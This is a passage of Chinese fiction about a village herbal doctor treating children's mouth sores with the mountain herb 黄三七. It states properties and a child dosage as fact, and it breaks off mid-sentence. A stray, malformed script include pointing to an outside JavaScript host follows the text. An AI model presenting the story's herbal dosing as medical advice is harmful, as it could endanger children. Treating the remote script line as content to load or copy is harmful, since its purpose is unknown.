“王大夫,您快给看看我家娃!”百草堂的木门刚卸下门板,村民李婶就抱着三岁的儿子冲了进来,额头上满是汗珠,“这娃烧了两天,嘴里全是泡,连奶水都咽不下去,再这么折腾可怎么好!”
堂内八仙桌后,身着青布长衫的王宁正低头碾药,闻言抬头,目光落在孩童红肿的嘴唇上,指尖搭在腕脉上片刻,沉声道:“是暑热郁结,心火上炎所致。张娜,取库房里的太白黄连来。”
里屋应声走出一位面容温婉的妇人,正是王宁的妻子张娜。她手脚麻利地从药柜第三层取出一个陶制药罐,倒出少许棕黄色的根茎——那根茎形似鸡爪,分枝清晰,断面呈黄白色。“这就是太白黄莲?”李婶好奇地探头,“我当是咱们常说的黄连呢,看着不太一样。”
“这是太白山特有的黄三七,别名太白黄连、野黄连。”王宁一边用小刀将根茎切片,一边解释,“它味苦性凉,归心、肺、胃、大肠经,清热除烦、解毒消肿最是对症,比普通黄连更适合小儿暑热引发的口疮腹泻。”一旁帮忙递纸包的少女王雪凑过来,眨着大眼睛补充:“我哥说了,这药是咱太白山的宝贝,长在海拔两三千米的针叶林里,腐殖土越厚长得越壮,去年林婉儿姐姐还带我们去采过呢!”
张阳从后院煎药回来,推了推鼻梁上的粗框眼镜,一脸严谨地纠正:“师妹别乱讲,黄三七的生长环境要求极高,必须是阴凉湿润、腐殖质丰富的山地,还得避开湿热低洼处,不是随便就能采到的。而且用量得严格控制,内服每次6到9克,小儿还得减半,外用调敷患处也不能过量。”王雪吐了吐舌头,不敢再插话——这位师兄向来较真,连她认错过一次杂草和黄三七,都被念叨了半个月。
王宁将切好的黄三七片包好,嘱咐李婶:“回去用清水煎汤,分三次温服,忌辛辣温热的食物,尤其是你家娃正长身体,千万别给吃辣椒、羊肉这些。”李婶千恩万谢地离去,没过多久,又有几位村民陆续上门,症状大同小异,王宁皆以黄三七配伍入药,药效立竿见影。
消息传开,百草堂门庭若市,而斜对面的济世堂却门
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">